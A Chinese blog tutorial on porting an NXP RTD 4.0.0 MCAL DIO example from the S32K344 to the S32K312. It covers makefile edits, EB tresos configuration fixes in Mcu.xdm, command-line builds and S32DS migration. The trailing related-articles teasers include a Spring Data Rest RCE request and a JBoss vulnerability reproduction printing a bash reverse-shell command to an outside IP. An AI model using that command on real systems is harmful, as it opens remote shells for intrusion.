S32K3 工具篇8:如何移植RTD MCAL现有demo到其他K3芯片

S32K3 工具篇8:如何移植RTD MCAL现有demo到其他K3芯片

  • 一,文档简介
  • 二 ,平台以及移植步骤
    • 2.1 平台说明
    • 2.2 移植步骤
      • 2.2.1 拷贝工程并配置
        • 2.2.1.1 拷贝工程
        • 2.2.1.2 配置工程
      • 2.2.2 EB 工程配置
  • 三, 命令行编译及其结果测试
  • 四, S32DS工程移植以及测试
    • 4.1 S32DS 工程配置
    • 4.2 EB工程替换
    • 4.3 MCAL S32DS工程测试

一,文档简介

 从NXP的RTD4.0.0的release note里面可以看到,支持的芯片型号非常齐全:

在这里插入图片描述

图 1

从这点可以知道,RTD4.0.0是能够覆盖所有的S32K3系列的芯片的。但是如果想要现成的demo,比如MCAL的demo,可以看到在现成的demo路径下,比如:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0\examples\EBT

只有S32K344,S32K358,S32K388,S32K396,S32M276。
所以,如果实际使用中,使用的是其他的S32芯片,比如K312,虽然在RTD支持的范围内,但是却没有现成的demo使用,这个时候就需要自行做移植了。本文将讲解,如何在RTD4.0.0 K344 MCAL demo的基础上移植到S32K312,并且配置对应的EB工程。首先,实现在命令行的执行,成功之后,将能够工作的MCAL代码EB工程移植到S32DS里面。

二 ,平台以及移植步骤

2.1 平台说明

本文基于RTD4.0.0:SW32K3_S32M27x_RTD_R21-11_4.0.0
其余带有patch或者HF的版本,操作过程步骤一致!
硬件平台:S32K312 mini EVB 或者S32K312EVB
其他官方的EVB,比如S32K31XEVB ,或者客户自己的S32K3硬件板子也是一样步骤。
本文由于缺少官方EVB板子,所以是基于S32K312 mini EVB,结合P&E Multilink仿真器下载仿真。平台情况如下:
在这里插入图片描述

图 2

2.2 移植步骤

 参考demo可以是RTD4.0.0里面现有的任何一个demo,本文为了简化过程,以DIO为例:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0\examples\EBT\S32K3XX\Dio_Example_S32K344

2.2.1 拷贝工程并配置

2.2.1.1 拷贝工程
 为了不影响原有的RTD默认demo,这里直接拷贝一个Dio_TS_T40D34M40I0R0,打开路径:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins

拷贝Dio_TS_T40D34M40I0R0,另存一个文件夹,名字为:Dio_TS_T40D34M40I0R0_miniK312_doc
其余的芯片过程也是类似的,只需要注意把芯片名称以及相关配置改成需要的芯片即可。
打开文件夹:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX

拷贝一个Dio_Example_S32K344为Dio_Example_S32K312
在这里插入图片描述

图 3

打开路径:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\TresosProject

修改EB工程Dio_Example_S32K344为Dio_Example_S32K312
在这里插入图片描述

图 4
2.2.1.2 配置工程

进入到新建的Dio_Example_S32K312,使用VScode打开该路径,并且保存VScode workspace到这个路径。
修改project_parameters.mk :

GCC_DIR = C:/NXP/S32DS.3.5_RTD400/S32DS/build_tools/gcc_v10.2/gcc-10.2-arm32-eabi
TRESOS_DIR = C:/EB/tresos_29_0_0
PLUGINS_DIR = C:/NXP/SW32K3_S32M27x_RTD_R21-11_4.0.0/eclipse/plugins
EXAMPLE_DERIVATIVE = S32K312
TRESO_PROJECT_NAME = Dio_Example_S32K312

在这里插入图片描述

图 5
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/01117799c97c47d9843ee456103ada3d.png)
图6

Check_build_params.mk,删掉如下代码:

ifeq ("$(wildcard $(T32_DIR)/bin/windows/t32marm.exe)","")$(error Invalid path set to Trace32. \The provided path: from project_parameters.mk T32_DIR=$(T32_DIR) is invalid!)
endif

这部分是给lauterbach trace32用的,如果不删,会报错。

2.2.2 EB 工程配置

下面予以EB工程的配置,打开EB tresos Studio 29.0软件,导入工程。
File->Import->General->Existing Projects into Workspace,添加EB 工程路径:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\TresosProject\Dio_Example_S32K312

注意,不要点击copy projects into workspace!!!
选中工程Dio_Example_S32K344,右击鼠标,rename 名字为:Dio_Example_S32K312
在这里插入图片描述

图 7

双击someId,打开配置模块。
打开Resource模块,General->ResourceSubderivative 选择为目标芯片partbumber,这里选择:s32k312_hdqfp172
在这里插入图片描述

图 8

保存之后,会发现报很多的错误如下:
在这里插入图片描述

图 9

这里不需要太担心,因为如果仔细分析就会发现,实际上是因为K344上面有的很多模块,K312没有这个模块导致,所以进入报错提示位置,删掉没有的K312模块。
Mcu->McuModeSettingConf->McuPeripheral
点进去可以发现,如果K312没有的模块,已经在peripheral Name的前面有个红叉标志。
在这里插入图片描述

图 10

直接的方法就是,把报错的项目全部删掉,一共有41个。
删除之后,可以发现,所有问题已经没有了:
在这里插入图片描述

图11

选中工程中someId,右击,generate code,可以看到,能够生成工程,并且没有错误。
在这里插入图片描述

图 12

这里不要掉以轻心,虽然到此能够生成代码,并且没有报错,但是实际上还有个地方需要修改。
这里,我们可以先关闭EB tresos工具,然后在VScode里面打开terminal->new terminal, 输入:make generate
可以看到如下结果:
在这里插入图片描述

图13

看到报错的内容是mcucgm0_clockMux0/McuClockMux0Divider5, McuClockMux0Divider6, McuClkMux0Div5_En, McuClkMux0Div6_En.
这里打开S32KRM,可以看到实际上K312是没有MUX_0_5,6的。
在这里插入图片描述

图 14

这时候,再打开EB tresos 软件,界面上也确实有这样的报错,并且在mcucgmClockMux0里面,也没有divider 5,6选项。
在这里插入图片描述

图15

这个时候不需要担心,有个办法可以修改掉这个问题。
关闭EB tresos工具,文本打开:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\TresosProject\Dio_Example_S32K312\config\Mcu.xdm

文件。直接在文件里面关闭divider 5,6的使能与数值配置。
修改如下代码:

                        </d:var><d:var name="McuClkMux0Div5_En" type="BOOLEAN" value="true"><a:a name="IMPORTER_INFO"><a:v>@CALC</a:v><a:v>@DEF</a:v></a:a><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div5_Divisor" type="INTEGER" value="3"><a:a name="IMPORTER_INFO" value="@DEF"/><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div5Trigger" type="ENUMERATION" value="COMMON_TRIGGER_DIVIDER_UPDATE"><a:a name="IMPORTER_INFO" value="@DEF"/><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClockMux0Divider5_Frequency" type="FLOAT" value="1.2E7"><a:a name="IMPORTER_INFO"><a:v>@DEF</a:v><a:v>@CALC</a:v></a:a><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div6_En" type="BOOLEAN" value="true"><a:a name="IMPORTER_INFO"><a:v>@CALC</a:v><a:v>@DEF</a:v></a:a><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div6_Divisor" type="INTEGER" value="0"><a:a name="IMPORTER_INFO" value="@DEF"/><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div6Trigger" type="ENUMERATION" value="COMMON_TRIGGER_DIVIDER_UPDATE"><a:a name="IMPORTER_INFO" value="@DEF"/><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClockMux0Divider6_Frequency" type="FLOAT" value="4.8E7"><a:a name="IMPORTER_INFO"><a:v>@DEF</a:v><a:v>@CALC</a:v></a:a><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a>

修改为:

                        </d:var><d:var name="McuClkMux0Div5_En" type="BOOLEAN" value="false"><a:a name="IMPORTER_INFO"><a:v>@DEF</a:v><a:v>@CALC</a:v></a:a><a:a name="VARIANTS" type="Variant"><variant:pbvcond><variant:criterion value="ASPath:/EB/PostBuildSelectable/PostBuildSelectableCriterion"/><variant:cond><variant:tst expr="0"/></variant:cond></variant:pbvcond></a:a></d:var><d:var name="McuClkMux0Div5_Divisor" type="INTEGER" value="3"><a:a name="IMPORTER_INFO" value="@DEF"/></d:var><d:var name="McuClkMux0Div5Trigger" type="ENUMERATION" value="COMMON_TRIGGER_DIVIDER_UPDATE"/><d:var name="McuClockMux0Divider5_Frequency" type="FLOAT" value="0.0"><a:a name="IMPORTER_INFO"><a:v>@CALC</a:v><a:v>@DEF</a:v></a:a></d:var><d:var name="McuClkMux0Div6_En" type="BOOLEAN" value="false"><a:a name="IMPORTER_INFO"><a:v>@DEF</a:v><a:v>@CALC</a:v></a:a></d:var><d:var name="McuClkMux0Div6_Divisor" type="INTEGER" value="0"><a:a name="IMPORTER_INFO" value="@DEF"/></d:var><d:var name="McuClkMux0Div6Trigger" type="ENUMERATION" value="COMMON_TRIGGER_DIVIDER_UPDATE"><a:a name="IMPORTER_INFO" value="@DEF"/></d:var><d:var name="McuClockMux0Divider6_Frequency" type="FLOAT" value="0.0"><a:a name="IMPORTER_INFO"><a:v>@DEF</a:v><a:v>@CALC</a:v></a:a>

主要是把文件中隐藏的Mux0Divider5,6的使能和frequency value值改掉。
重新打开,可以看到,报错消失,EB工程someId,右击,generate project,代码也能够无报错正常生成。
这里有个小技巧:为了防止之前生成代码和最新EB工程的不匹配,也可以把:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\generate

文件夹:src,include清空,然后在EB tresos里面,generate project的时候重新生成。
关闭EB软件,在Vscode工程的terminal里面再次输入:make generate
可以看到,这时候已经没有任何问题了:
在这里插入图片描述

图 16

三, 命令行编译及其结果测试

从上面的步骤,已经完成了一个RTD 现有K344工程到K312 MCAL工程的代码以及EB配置移植,下面通过VScode, 命令行形式,生成main.elf, 然后下载测试。
命令:

make generate
make build

main.elf可以在如下文件夹路径找到:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\out

关于测试,因为有main.elf 文件,以及PE Multilink,可以在S32DS里面新建一个K312的工程,debug接口是PE Multilink的,编译生成代码之后,拷贝main.elf到新建工程的:Debug_FLASH文件夹,在S32DS debug configuration 中,C/C++ application直接替换成main.elf,下载测试。
在这里插入图片描述

图 17

可以看到,已经能够进入debug界面,而且实际测试板上LED灯能够成功闪烁。
说明MCAL 代码porting到K312已经成功。

四, S32DS工程移植以及测试

在之前RTD MCAL EB 工程移植到S32DS的K344工程上,直接修改工程名,修改工程芯片型号,修改ld文件,驱动文件包含等,然后清理工程,编译工程即可。
这里假定已经拥有了RTD MCAL 工程导入到S32DS的工程,然后在此基础上修改。

4.1 S32DS 工程配置

因为在原始RTD 的文件夹下面拷贝过文件夹,所以在S32DS的工程Mcal_Plugins->Link_Source里面多了之前新建的文件夹,需要把这个文件夹不参与编译:

选择Dio_TS_T40D34M40I0R0_minik312_doc,右击Build path->remove from->Debug_FLASH.
在这里插入图片描述

图 18

工程名从Mcal_Dio_S32K344_RTD400 rename为Mcal_Dio_S32K312_RTD400。
修改如下工程配置,project->properties:
(1)preprocessor
S32K344->S32K312
在这里插入图片描述

图 19

(2) Sstandard S32DS C Linker->General
修改

"${MCAL_PLUGIN_PATH}/Platform${MCAL_MODULE_NAME_SUFFIX}/build_files/gcc/linker_flash_s32k344.ld"

"${MCAL_PLUGIN_PATH}/Platform${MCAL_MODULE_NAME_SUFFIX}/build_files/gcc/linker_flash_s32k312.ld"

修改之后,点击apply and close
下面将main.c替换为

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\src\main.c

添加头文件:

#include "Port_Cfg.h"

屏蔽代码:

// #include "check_example.h"
//    Exit_Example(TRUE);

4.2 EB工程替换

拷贝:

C:\NXP\SW32K3_S32M27x_RTD_R21-11_4.0.0\eclipse\plugins\Dio_TS_T40D34M40I0R0_miniK312_doc\examples\EBT\S32K3XX\Dio_Example_S32K312\TresosProject\Dio_Example_S32K312\config

里面所有的.xdm文件到S32DS的EB文件夹,替换老的.xdm:

Mcal_Dio_S32K312_RTD400\Tresos_Project\Mcal_Dio_S32K344_RTD400\config

使用EB tresos打开上面的工程,并且Generate project,生成成功之后,关闭EB工程,回到S32DS

4.3 MCAL S32DS工程测试

先clean project:project->clean project, 然后编译代码。
在这里插入图片描述

图 20

可以看到能够成功编译,然后RUN->debug configuration选择下载代码 xxx_Debug_FLASH_PNE,这里注意,需要把Device从S32K344改变成S32K312
在这里插入图片描述

图 21

配置成功之后,点击debug,下载代码并且仿真,结果如下:
在这里插入图片描述

图 22

可以看到,能够成功进入debug,并且实际上板子上的灯闪烁,说明从RTD MCAL 工程demo移植到S32K312 S32DS也成功运行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1543503.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

在idea里运行swing程序正常,但是在外部运行jar包却报错,可能是jdk版本问题

在idea里运行swing程序异常&#xff0c;报Caused by: java.awt.HeadlessException错误 System.setProperty("java.awt.headless","false");加上这句话

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

&#xff08;1&#xff09;访问 http://your-ip:8080/customers/1&#xff0c;然后抓取数据包&#xff0c;使用PATCH请求来修改 PATCH /customers/1 HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MS…

iOS OC 底层原理之 category、load、initialize

文章目录 category底层结构runtime 执行 category 底层原理添加成员变量 load调用形式系统调用形式的内部原理源码实现逻辑 initialize调用形式源码核心函数&#xff08;由上到下依次调用&#xff09;如果分类实现了 initialize category 底层结构 本质是结构体。struct _cat…

AlmaLinux 安裝JDK8

在 AlmaLinux 上安装 JDK 8 可以通过包管理器 dnf 来完成。AlmaLinux 是基于 RHEL 的一个开源发行版&#xff0c;因此其包管理系统和 RHEL 类似。以下是详细的步骤来安装 OpenJDK 8 1. 更新系统包列表 sudo dnf update -y 2. 安装 OpenJDK 8 使用 dnf 安装 OpenJDK 8。你可…

召回的在线评估与离线评估

在现代信息检索、推荐系统等应用场景中&#xff0c;召回阶段扮演着至关重要的角色。召回系统负责从海量候选项中筛选出潜在相关的内容&#xff0c;因此其效果直接影响用户的满意度和系统的效率。为了确保召回系统的性能&#xff0c;我们需要对其进行评估&#xff0c;而评估方法…

C++中set和map的使用

1.关联式容器 序列式容器里存储的是元素本身&#xff0c;如vector、list、deque 关联式容器即&#xff0c;容器中存储<key&#xff0c;value>的键值对&#xff0c;树型结 构的关联式容器主要有四种&#xff1a;map、set、multimap、multiset。他们都使用平衡搜索树(即红…

医学数据分析实训 项目四 回归分析--预测帕金森病病情的严重程度

文章目录 项目四&#xff1a;回归分析实践目的实践平台实践内容 预测帕金森病病情的严重程度作业&#xff08;一&#xff09;数据读入及理解&#xff08;二&#xff09;数据准备&#xff08;三&#xff09;模型建立&#xff08;四&#xff09;模型预测&#xff08;五&#xff0…

Web端云剪辑解决方案,可实现移动端、PC、云平台无缝兼容

美摄科技作为业界领先的视频技术解决方案提供商&#xff0c;再次以科技创新为驱动&#xff0c;隆重推出其Web端云剪辑解决方案&#xff0c;彻底颠覆传统剪辑模式的界限&#xff0c;为视频创作者、影视制作人及广告从业者带来前所未有的高效与便捷。 【跨平台无缝协作&#xff…

消息队列:如何确保消息不会丢失?

引言 对业务系统来说&#xff0c;丢消息意味着数据丢失&#xff0c;这是无法接受的。 主流的消息队列产品都提供了非常完善的消息可靠性保证机制&#xff0c;完全可以做到在消息传递过程中&#xff0c;即使发生网络中断或者硬件故障&#xff0c;也能确保消息的可靠传递&#…

智能优化算法-多目标灰狼优化算法(MOGWO)(附源码)

目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1.内容介绍 多目标灰狼优化算法 (Multi-Objective Grey Wolf Optimizer, MOGWO) 是一种基于群体智能的元启发式优化算法&#xff0c;它扩展了经典的灰狼优化算法 (GWO)&#xff0c;专门用于解决多目标优化问题。MOGWO通过模…

IT监控管理工具 WGCLOUD - 使用公共告警消息推送接口

WGCLOUD的公共告警接口 用于外部业务系统调用的告警接口&#xff0c;需要升级到v3.4.5或以上版本 只要调用这个接口&#xff0c;就可以将消息同步推送到我们的告警平台&#xff0c;比如邮件&#xff0c;钉钉&#xff0c;企业微信等 此接口主要给有告警需求的第三方系统使用&…

软件功能测试需进行哪些测试?第三方软件测评机构有哪些测试方法?

在信息化社会迅速发展的今天&#xff0c;软件功能测试在软件开发生命周期中占据着不可或缺的地位。软件功能测试是评估软件系统是否符合预期功能和用户需求的过程。其重要性体现在提升软件质量、确保用户满意度以及降低维护成本等方面。 软件功能测试是对软件应用程序进行的一…

软件测试实验室如何利用GB/T25000标准建立测试技术体系

《系统与软件工程 系统与软件质量要求和评价&#xff08;SQuaRE&#xff09;》是国际标准化组织ISO/IEC为统一软件质量评判标准而指定的软件质量度量和评价的标准。该标准是开展中国合格评定国家认可委员会&#xff08;CNAS&#xff09;实验室认可软件测评实验室过程中需要参照…

开源模型应用落地-Qwen2.5-Coder模型小试-码无止境(一)

一、前言 代码专家模型是一种基于人工智能的先进技术&#xff0c;旨在自动分析和理解大量代码库&#xff0c;并从中学习常见的编码模式和最佳实践。这种模型通过深度学习和自然语言处理&#xff0c;能够提供准确而高效的代码建议&#xff0c;帮助开发人员在编写代码时有效地避免…

[ComfyUI]Flux:太美啦!绮梦流光-水湄凝香,写实与虚拟混合,极致细节和质感

大家好我是安琪&#xff01;&#xff01;&#xff01; 在数字艺术和创意领域&#xff0c;[ComfyUI]Flux已经成为艺术家和设计师们手中的利器。今天&#xff0c;我们激动地宣布&#xff0c;[ComfyUI]Flux带来了一款令人瞩目的创新作品——绮梦流光-水湄凝香。这款作品将写实与虚…

怎么把kgm转换成mp3?5个kgm转mp3的方法,亲测管用!

很多小伙伴不难发现kgm格式只能在固定的平台或设备上播放&#xff0c;如果想要打破这一限制&#xff0c;我们可以将kgm格式转换为兼容性较强的mp3格式。 下面&#xff0c;就来给大家分享5个好用的kgm转mp3方法&#xff0c;操作简单&#xff0c;小白也能分分钟学会哦~ kgm转mp3…

全民皆信奥?编程教育不应成为‘金牌梦’的牺牲品

近年来&#xff0c;信息学奥赛&#xff08;信奥&#xff09;成为众多家长为孩子规划的学习目标之一&#xff0c;期望通过编程学习在未来脱颖而出&#xff0c;甚至进入清华、北大等顶尖高校。然而&#xff0c;是否每个孩子都适合走这条信息学奥赛的道路&#xff1f;全民皆信奥是…

多机器学习模型学习

特征处理 import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.model_selection import StratifiedShuffleSplit from sklearn.impute import SimpleImputer from sklearn.pipeline import FeatureUnion fr…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

MySQL之基本查询(二)(update || delete || 聚合函数 || group by)

目录 一、表的更新update 二、表的删除delete 三、聚合函数 四、group by 分组查询 一、表的更新update 语法&#xff1a; UPDATE table_name SET column expr [, column expr ...] [WHERE ...] [ORDER BY ...] [LIMIT ...] 使用实列&#xff1a; ~ 将孙悟空同学的数学…